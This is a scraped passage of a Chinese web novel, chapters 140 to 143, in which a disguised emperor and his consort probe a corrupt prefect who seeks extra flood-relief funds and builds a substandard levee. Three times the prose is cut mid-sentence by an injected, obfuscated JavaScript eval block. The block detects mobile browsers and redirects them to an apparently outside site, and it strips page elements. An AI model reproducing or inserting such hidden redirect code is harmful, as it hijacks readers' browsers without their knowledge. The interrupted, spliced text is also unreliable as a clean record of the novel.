他这么说,姜念秋也安之若素地呆着。 正好,她也想见见这个刘畅起——百姓官中的逃兵。 谭利和谭斯再坏,都没把百姓丢下,他可倒好,扔下百姓去别的地方躲着,岂不是更加可恨? 史奕将人带进来后在门口守着。 来的是一位年过五十的男子,他面宽眼大,身上穿了一件灰黄色的粗布官服,跟谭利和谭斯穿的丝绸锦缎的完全不同。 放在管厂商,还真像个宽厚人。 姜念秋不由得多打量了他几眼。 刘畅起也十分大方,微微躬身拱手,姿态十分客气地道:“永州知州刘畅起见过特使大人、特使夫人。” 在低头的瞬间,刘畅起亦在心中思虑眼前二人。 城中底下的人给他递信儿,说来的特使气质非凡,他直犯嘀咕。 现下见了才知道,此言非虚。 不光是坐在那儿的男子是如此,起身冲他颔首示意的女子亦是平常富贵人家没有的做派。 看来,二人来头不小。 季寰为了维持自己的“特使”身份,学着曾见过的一些场面,起身算是对知州的“尊重”。 他摊开手,指了个凳子道:“知州大人不必客气,请坐下闲聊几句。” 与此同时,姜念秋端着茶壶出去,叫史奕换掉了壶中的茶。 那壶里装着的可是季寰喝惯了的茶,给刘畅起喝了,他很有可能会起疑心。 姜念秋站在门口,静静地等待着换茶,也偷听一下墙脚。 里头,季寰微微沉声问:“听说前阵子知州去别处学治水之道,此次应当收获颇丰吧?” 这话别人或许听不出门道来。 可姜念秋跟在季寰身边这么久,想从中窥视出些许不对劲儿来还不是轻而易举。 他在拐弯抹角地骂人呢! 说他出去那么久,也带不回来丁点儿有用的玩意儿,实在是笨得要命。 刘畅起低下头,状似惭愧地摇摇头回:“不瞒特使大人,我出去这一趟,才懂得什么叫做因地制宜。” 说完,刘畅起脸上表情渐渐地严肃起来。 门外的姜念秋眉梢跟着挑动。 难不成是自己想错了? 永州知州和宿州那两个混蛋不一样? 姜念秋心里开始有所动摇,但厢房内的季寰眼眸丝毫未动,依旧稳如泰山。 他只是淡淡地回了一个字:“哦?” 其中意味深不见底。 外头的姜念秋听到这个字后,心噗通一下子又掉回了原来的地方。 店家知道知州来了,亲自上来换茶。 史奕为保谈话不被任何人听见,在楼梯转角处便拦住店家,再将茶壶转交给姜念秋。 姜念秋进去后,恰好赶上刘畅起说道:“别处的治水策略,完全用不到永州来,我这回算是白跑一趟了。” 闻言,姜念秋脚下动作停顿住。 永州地界是有多特殊。 现代都用了几十年的玩意儿,到了这儿居然不灵了? 系统给她方子的时候,可没说永州的特殊性。 姜念秋多看几眼刘畅起的后脑勺,眼神变得幽深起来。 还是季寰给了她一个眼神,姜念秋才反应过来,唇角扯了一个合乎礼节的弧度走过来。 她亲手给两个人倒茶。 刘畅起注意到了一个细节——这位夫人是先给眼前的特使大人倒茶,后给他倒的。 有些奇怪。 一般人倒茶会遵循先客后己的规矩,可她没有。 而且特使貌似没觉得有什么不对的地方。 他不禁心想:这女子是故意地给他下马威,还是另有隐情? “知州大人请用茶。” 话打断了刘畅起的思考,他只能先笑着道谢:“多谢特使夫人。” 然后,姜念秋从刘畅起身后绕到了屏风之后,不再出来。 原来只是顺手的事儿。 由此,刘畅起将此事抛在脑后,没再多计较。 恰恰是他没细想的细节,叫他错失了一个最致命的线索。 刘畅起呷了口茶,是永州特有的金丝花茶。 店家上的乃是极品。 但季寰喝不惯,茶杯没动过。 “听说,特使这次是带着巡抚大人的令牌来的?” 方才是季寰先出手,现在刘畅起在悄悄地施展自己的触手了。 躲在屏风后的姜念秋仍旧能听清楚二人对话。 甚至因为屏风的缘故,她能不控制表情,好生琢磨刘畅起的善恶。 季寰点点头:“是,巡抚在别处绊住了脚,我代他先来处置永州事宜。” 上头派巡抚是常有的事,不与知州相告乃是圣上的手段。 这一点刘畅起没法求证。 也是给了季寰操作的空间。 刘畅起神情有一瞬间的不自然,只是一闪而过,很快恢复如常。 紧接着,他低下头,手在不住地揉`捏着衣角,一副很是为难的样子。 像是斟酌了一番,刘畅起才不好意思地开口:“特使大人,我有一事相求,不知特使大人能否答允。” 季寰眼底快速掠过一抹精光。 比刘畅起隐藏自己的速度快多了。 他微微颔首:“知州但说无妨。” 第141章 掏 第一百四十一章掏 知州一听季寰能答允,腔中那颗心咚的一下。 他沉默了一会儿,犹犹豫豫地说道:“我想请特使大人多从别处拨些钱粮,如果能够在入冬前改善永州,我一定会加倍返还给特使大人。” 还要钱粮? 叫李总头去拿的,就已经是足够的啊。 这是怎么回事? 不仅姜念秋觉得奇怪,季寰也有些意外知州的大开口。 他身子往椅背上一靠,有些气质跟着便展示出来了:“怎么,朝廷拨下来的钱粮、叫李总头去拿的钱粮,永州还不够么?” 那个“还”字,被季寰咬重了口音。 刘畅起自嘲地笑笑,伸手狠狠地抹了一把脸。 季寰就那么直勾勾地看着他,似是要看进刘畅起的灵魂深处。 刘畅起后脊梁僵直着,有如芒刺在背:“您有所不知,这一层一层拨下来,我真是手头拮据,不然怎么能无颜见父老相亲呢?” 听他这么说,躲在屏风里侧的姜念秋都傻眼了。 此人的胃口实在太大了吧? 不仅要朝廷的,还要借由季寰的手搜刮别处的? 这两者加起来,能养活多少人,可永州的百姓又切实需要多少! 当刘畅起说完,他小心翼翼抬眼时,恰好撞到了季寰流露出一瞬间狠绝的眼神。 芒刺在背的感觉再次刺痛他。 “如果大人觉得为难……” 季寰赶在刘畅起说完之前,挑起嘴唇边一角:“好,你说缺多少,自去提便是了。” 啊?! 就这么给他了?! 屏风后的姜念秋目瞪口呆地瞧着对面季寰并不真切的背影。 我的圣上,您在想什么啊! 他可是在骗您的钱、骗百姓的钱呢! 刘畅起亦是没料到如此,像是有些不相信自己的耳朵,还又问了一遍:“特使大人此话当真?” “一言既出,驷马难追。” 这话引得刘畅起立刻开怀。 他猛地站起身来,冲着季寰狠狠地鞠了好几个躬:“刘畅起替永州城的百姓谢过特使大人了!” 姜念秋越发觉得季寰是不是也有老虎打盹儿的时候,便从屏风中绕出来。 她得给季寰提个醒才是。 于是,姜念秋找了个看似没什么,但实则有些意思的问题。 问话也是落落大方,没半点儿漏洞:“知州大人,我有一事觉得有些奇怪,这永州城的人为何只出不进呢?” 一边说,她一边给刘畅起的茶杯里蓄满了水。 无疑是在默不作声地将人再留一会儿。 他们能这样子彼此探知的机会不多,再往后刘畅起只会越来越掌握他们二人。 能试探出他嘴里最浅薄的话每况愈少。 刘畅起低眸扫了扫杯中茶水,不禁抬眸看看姜念秋。 这个女子以茶水留住他,着实有些厉害。 他脸上同样没表露出半分不耐烦,甚至显得有一点点为此自豪:“永州城里的人都恋家,出去了失了根基,谁愿意啊?” 有这么恋家? 恋家到天灾威胁生存,还要愁眉苦脸地继续? 这个理由也太牵强了吧! 她和季寰来这儿不久,身子便已吃不消了。 更别说居住在此地的老百姓,一定存了不少阴湿在体内。 不可能不想离开的。 姜念秋还想说什么,这次季寰反常地出声制止了:“刘大人忙,你就不要不懂事了。” 姜念秋眉间若蹙,季寰无视掉不说,还起身来送客。 刘畅起顺坡下驴:“想必特使大人与夫人还有要事相商,刘畅起就先行告退了。” 不能就这么放过他啊! 姜念秋内心在大吼大叫,恨不得当着面儿把人留下。 季寰平日里不是很能够猜到她的心意吗? 这回怎么不灵了? 偏偏她距离刘畅起太近,还不能过分流露出别的表情来。 季寰深深看她一眼。 算了,君要臣死,臣都不得不死,别说是放一个人离开了。 姜念秋维持着得体微笑:“知州慢走。” 厢房的门一经阖上,姜念秋脸立马垮了下来。 二人走到窗边,看着刘畅起坐上了四人抬的轿子。 那轿子无比地简朴,几乎就是个烂木头架子在上头铺了几层布而已。 但姜念秋就是看不顺眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864482|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 待人轿子彻底离开视线,季寰伸**先把窗户关了上来。 姜念秋一屁股坐在季寰原来坐过的椅子上。 不是不给季寰面子,而是厌恶刘畅起坐完的椅子:“三爷,您怎么就这么放他走了呢……” 史奕叫人进来收拾,敏锐地察觉到这一点。 那把被刘畅起坐过的凳子被拿了出去,换了一把新的过来。 茶水亦是换了季寰日常喝的。 季寰歪头去看拄着脑袋,一脸不忿的女子,不怒反笑:“怎么?” 人一坐下来,姜念秋瞬间弹着坐直了身子。 她鼓着个脸颊,气得眼睛瞪得圆鼓鼓的:“您明明能看出此人心机深沉,不比谭利和谭斯差多少,还叫他如愿啊!” 谭利和谭斯有什么心思全写在脸上。 这个人可都藏在了心里,说白了就是装大尾巴狼呢! 这种人,给了他第一次好处之后,后面的窟窿就跟无底洞似的。 一定是填不满的! 她倒不是觉得欺骗了自己而生气,就是为了那些受苦的底层人不高兴罢了。 季寰听着她的话,笑容越来越大。 一个人是把什么肮脏心思都藏在心里,另一个是把细微情绪都写在脸上。 哪一个更容易靠近,季寰心知肚明。 他伸出长腿,灵巧地勾住椅子,将人拉到了自己身边。 姜念秋惊吓了一瞬,但很快装作自然地依旧生着气。 二人的椅子靠得很近,只是妮子不愿意靠他,转身过去。 季寰无视她的小性子,手臂从前头把人搂住。 温热的胸膛传递着温度到她的后背。 男子磁性的声音从耳廓传进来:“你这双眼睛还算好用,说说看,怎么敲出门道的?” 他觉得,换个女子来,应该看不出刘畅起根本没面儿上那么简朴。 姜念秋已经很是聪慧了。 原来他看得出刘畅起不是好东西啊? 那为什么非要把人送走! 既然说开了,那股子劲儿也就散开。 她挣着劲儿坐起来,很是郑重其事地道:“别的我倒不一定看得出,但我知道见钱就扑上来的人一定不是什么好东西。” 第142章 养肥的羔羊 第一百四十二章养肥的羔羊 还是头一次听见这么直接了当的形容方式,季寰看向姜念秋的目光越发深起来。 只是眼神之中并未设防,就是单纯地看着她罢了。 “还有呢?” 季寰说着,探身过去拿茶壶。 十分自然地给姜念秋也倒了一杯茶水递在她面前。 皇帝为了叫妃子没那么生气,甚至亲手倒水。 这在什么朝代都罕见。 她不跟着台阶下来,太不懂规矩,更不识抬举。 于是,说话的口气变化得很是微妙,人也朝着季寰的方向转了过来,是靠近他的姿态。 小动作被季寰收入眼底,他没说话,只是喝茶。 姜念秋手指来回揉搓着杯子:“他那身衣裳咯,若真是勤俭节约,粗布早就磨破了。” 离得远了或许看不出来。 但她是好几次贴着此人走的。 从后面能看得一清二楚。 那个材质的衣裳处境尴尬。 如果是就这么一件衣服,那一定会磨得破破烂烂;若是新做的,那便营造不出所谓的穷苦形象。 刘畅起始终还是输在了细节上。 季寰没想到姜念秋的心这么细,侧眼去看她的时候,眼神不加隐瞒的欣赏。 他不认得这些个粗布,也观察不了这么细。 姜念秋的观点倒是更加印证了刘畅起绝非好官。 他补充着说道:“不仅仅是如此,他腰间的玉佩可注意到了?” 姜念秋想了想,摇头。 那人一进来一直处于躬身状态,姜念秋能够直视他腰间的机会甚少。 再者说了,她可是季寰的妃子,没事儿干盯着人家的腰间干嘛啊! 太没礼节了。 季寰下巴冲着姜念秋胸前抬了抬:“那块玉佩同我淘回来的籽料差不了多少。” 就这么一句话,含义颇丰。 见他不解释,她便自己剖析话里的意思。 第一,此人是识货的,他分得清楚好赖玉石,不然寻常人只会选用简单易懂的翡翠等;第二,他有钱买,毕竟是好几两金子的东西,一般清贫的官员不会出手如此阔绰;第三,他怕别人发现,所以选择搭配粗布来隐蔽。 这个人城府太厉害了。 真是既要又要。 明明可以穿一身粗布短衣来见人,还是保留着一丝知州的架子,非要佩戴这么一块儿玉佩。 光是想想都令人头皮发麻。 姜念秋一想起季寰答允了他说的话,气又是不打一处来:“三爷,您都看出来此人居心不正,咱们还得给他钱啊?” 把钱粮调配给他,百姓们能拿到多少? 换做是她,她宁可一分钱都不给,叫刘畅起仍旧躲在别处。 然后趁着他不在的时候再接济百姓。 “我知道你怎么想,但以今日他来的速度,你认为可行么?” 季寰笑了笑,没往深处解释。 只要细想想,便知道这个法子完全靠不住。 一大笔钱粮顺着任何一条路,别说是官员了,就是山里的大王也能察觉出不对劲来。 “是不可行……” “所以当然要给,不光要给,还得给得没数。” 季寰转身,走到了书桌旁,继续放置好笔墨纸砚。 在上头大大地写下了一个“永”字。 他的话对姜念秋来说是个不小的冲击。 她“啊”了一句,整个人木楞楞的。 不是,怎么还得给他没数的钱粮啊! 那得亏多少本。 他们大老远来永州,不就是为了要查清赋税,整治此地的不正现象么? 怎么没拯救,还倒赔了! 季寰没说话,只是冲着姜念秋勾勾手指。 只看他手里捏着的毛笔对准的方向,姜念秋就知道季寰没那么容易放过她。 还是要练字才能告诉她到底为什么。 谁叫她天生长了一颗八卦的心呢。 认命地起身,到季寰身边接过毛笔。 这回,季寰没让她自己拿着练,反倒是贴在她身旁,手握住她握笔的手。 手把手教着写字的妃子,只她一个有这般待遇。 笔尖和手腕貌似只听季寰的话。 一顿一沉都极其有韵味。 当一个还算过得去眼的“永”字跃然纸上,季寰满意了一点点,便松开了手。 “照着写,写得和这个差不多的时候,告诉你为何这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864483|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么做。” 姜念秋倒吸一口凉气。 她真的很想甩手走人,可奈何季寰这回是抓住了她的七寸啊! 行,为了一个八卦,写一个字值了! 这回,不知道是姜念秋开窍了一点儿,还是季寰残留在她手腕上的力道还在。 那个“永”字蛇笔走形,写得虽不如他摆在旁边的样子,但好歹是颇具神形。 季寰看了一眼,抬手摁了摁她的脑袋。 还算没白教。 他亦遵守承诺说道:“就是因为给他给得没数了,到时候要他吐多少,便全看他有多少了。” 姜念秋眨巴两下眼睛,显然是需要时间来消化其中含义。 季寰也不解释,只是拿起那张纸看。 等姜念秋的脑子彻底转过弯儿来,她眉间的细微褶皱全部被抚平了。 什么叫帝王之道,她貌似有了些许感悟。 他这一招是把“羊”养肥了再杀的路子。 刘畅起要什么给什么,一方面能够打消此人对他们的戒备心,起码调查的进度能拖个一时半会儿的;另一方面,此时想转移那么大一笔钱财定然不易。 顺着这些蛛丝马迹,能掏出来的和他刘畅起有关的,便能全部现形。 犯了罪的官员,家里的人有多少钱,还不都是朝廷的? 取之于民,到最后还是用之于民。 姜念秋佩服极了,还握着毛笔呢,就学着官员的模样给季寰行礼作揖:“三爷高明!” “少贫嘴,再照着写几个。” 这回心里的顾虑没那么重了,再加上姜念秋短暂地对季寰产生了些许崇拜的心理。 他说什么,姜念秋都能听上几句。 她当真按照季寰所说,弯腰在纸上继续用功。 就是这用工的注意力起码分了大半给八卦。 她装模做样地挑着笔尖上的毛刺儿,一边问:“那您说,这钱他拿了那么多,会不会用在百姓身上啊?” 相较于钱粮一出来便入了他人口袋,姜念秋还是希望百姓能够跟着捞点儿油水的。 他们过的可太苦了。 比谭利谭斯那儿的百姓好不了多少。 宿州的百姓受的是官员欺压,永州的百姓是双重欺压。 第143章 阳奉阴违 第一百四十三章阳奉阴违 天灾给百姓带来的,一定是加倍的痛苦。 他刘畅起并未直接做恶事,可他不做事,任由情况每日愈下,那就是变相作恶! 既然拿了人家别处的钱粮,钱能扣下,粮未必能完全昧下吧? 季寰用另一支毛笔轻轻敲打了下姜念秋的手背。 顺着坡偷懒,当他瞎了啊? 姜念秋的手背没什么肉感,一敲就敲在骨头上。 疼得她还缩了下肩膀。 虽然并没十分疼痛,可下笔的时候手感全失了。 季寰放下纸,认真看她写字:“搜刮是一定的,但咱们在这儿,他应该会装一段时间。” 这些个官员,就算是县令,哪个在暗地里没人脉? 他在调查清楚他们的特使身份之前,是绝对不会露出真实面目的。 按照最快的速度,从近处调配钱粮。 应该是能顶一会儿。 姜念秋掐算了一下时间,感觉修建好堤坝、整顿百姓…… 这些怎么着都不是一朝一夕的时间。 她放下毛笔,人有些担忧地握住季寰的手臂。 突然的动作把季寰都吓了一跳。 “这样一来,我们岂不是还会陷入一次险境?” 上回或许是他们命大,能够化险为夷。 可不一定每次都能这样啊! 季寰抬眸瞥了一眼姜念秋,她的脸上还真的有些紧张感。 她是不是脑子背冲傻了? 修长的手指曲起来,狠狠地赏了她一个爆栗。 “疼!”姜念秋**。 几乎是以肉眼可见的速度,她白`皙的额头立即红了一大块儿。 刚弹了她的人,这时又用温热的手掌为她捂着伤口,动作轻柔地不像一个帝王会做的事儿。 揉了一会儿后,季寰在她耳畔说:“你会这么想,就是觉得我傻了。” 热气喷薄在耳廓,引来她细微的颤抖。 姜念秋想要把人挣开。 光天化日的,她还是不能习惯与他太过亲昵。 显然,姜念秋的想法有些偏离实际了。 因为下一刻,季寰直接执起她的手,又开始教她写字了。 “好了,写你的字,这些费神的事儿有我撑着呢。” 这都到什么时候了,是写字重要,还是刘畅起会挪走官银重要啊! 姜念秋欲哭无泪。 偏偏他的手握得很紧,她根本没有丝毫逃脱的可能性。 三天后,不等季寰和姜念秋去找刘畅起。 他自己便找上门来了。 “做戏的角儿来了,叫他上来吧。”季寰漱嘴过后算是用过早餐。 可姜念秋还没吃完。 史奕便没有像他人那般对待,只是默默地退出去叫人。 刘畅起进来的时候,姜念秋刚刚仓促把最后一口包子塞进嘴里。 他心里觉得或许是两个人感情不错,所以眼前这位特使才会允许夫人有些失礼。 即是如此,他便装作没看见。 人十分恭敬地躬身说道:“特使大人,我挪动的钱粮都到位了,今早会按照一些能用上的经验布置,请您劳累瞧瞧?” 只有三天便调动了钱粮? 为了钱,刘畅起的动作还是够快的啊! 姜念秋快速嚼着嘴巴里面的东西,想着吃完了就退后。 毕竟那天是跟李总头说话,这回可是知州。 他们男子议论政事,应该不想女子在场。 不想季寰并非这么想的,他耐心地等待着姜念秋吃完,见她起身才对知州说道:“知州有心了。” 到了楼梯口,季寰发现姜念秋还站在厢房门口,并没有要出来的意思。 他眉头一挑:“还不跟上?” 这回连刘畅起都有些吃惊。 官场的事儿,特使居然会带上夫人? “我家夫人略懂治水之事,不如叫她指点知州一二。” 此言落在刘畅起耳中,简直过分狂妄。 姜念秋使劲儿给季寰使眼色。 他这是想干嘛呀,提前惹怒刘畅起吗? 一个女子指点知州做事,旁人看来简直是荒诞至极。 眼下氛围有些怪异。 正当姜念秋以为刘畅起会有所动作的时候,他笑了笑,当真上前去请姜念秋了:“夫人,还请赏脸指点。” 一闷棍照着姜念秋的额头打了上来。 她的后背猛然出了许多冷汗。 人皮笑肉不笑地赔笑:“大人客气。” 去堤坝的马车上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864484|175474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还好是分了两个,姜念秋面露难色,祈求季寰:“我的三爷啊,您能否别吓唬我?我胆子可不大。” “放心,他暂时还不敢。” 哦,原来季寰不是故意把人推出去啊,他是想借此看看刘畅起的消息探听到什么地步了。 貌似这个法子实在太过惊险了。 刚刚姜念秋的心都要跳出嗓子眼儿了。 到达堤坝之上,季寰和姜念秋便分开了。 好歹姜念秋是以来指点的名义到的,总得做做样子吧? 谁知道就是做做样子而已,也叫姜念秋这个外行人看出了不对。 她踩了踩脚下。 那感觉跟水泥完全不搭边儿。 应该还是在麻袋之中灌装了泥沙罢了。 她左右寻找,在一旁受苦力的人们中找到了李总头的身影。 他身上的盔甲早不知道扔到哪里去,人穿着简易的背心,和大家一起搬搬扛扛。 寻了个李总头休息的空挡,姜念秋走上前去问寻:“李总头,您为何还在叫人用泥沙来垒堤坝啊?” 李总头还没说话,姜念秋身后几个人跟没长眼睛似的要往她身上扔麻袋。 他眼疾手快,瞬间把人拉了回来:“夫人往里站站,当心危险。” “多谢总头。” 许是这些话不适合在这儿说,李总头眼神中有些为难。 她便装作给李总头看图纸,以纸挡住别人看过来的目光。 低低的一道声音到了姜念秋耳朵里:“是知州说的,他说别处用过的水泥在永州不好用,还是得靠这个老法子扛过去。” 水泥不好用? 水泥如果真的不好用的话,其他的地方就不可能能这么快控制住水势了。 只有永州,如今还是被水雾所笼罩着。 如果湿度没那么大,或许姜念秋能信。 可眼下情况,根本无法`令人信服啊! 说完,李总头面上快速闪过一抹深深的无奈。 他合上图纸,故意扬声说道:“多谢夫人指点,受益颇多。” 姜念秋陪着笑了笑:“李总头辛苦了。” 得赶紧去找季寰说明情况,不然就这样子下去,永州根本撑不到入冬。 最后一次水势涨起来,直接会害了一城的百姓!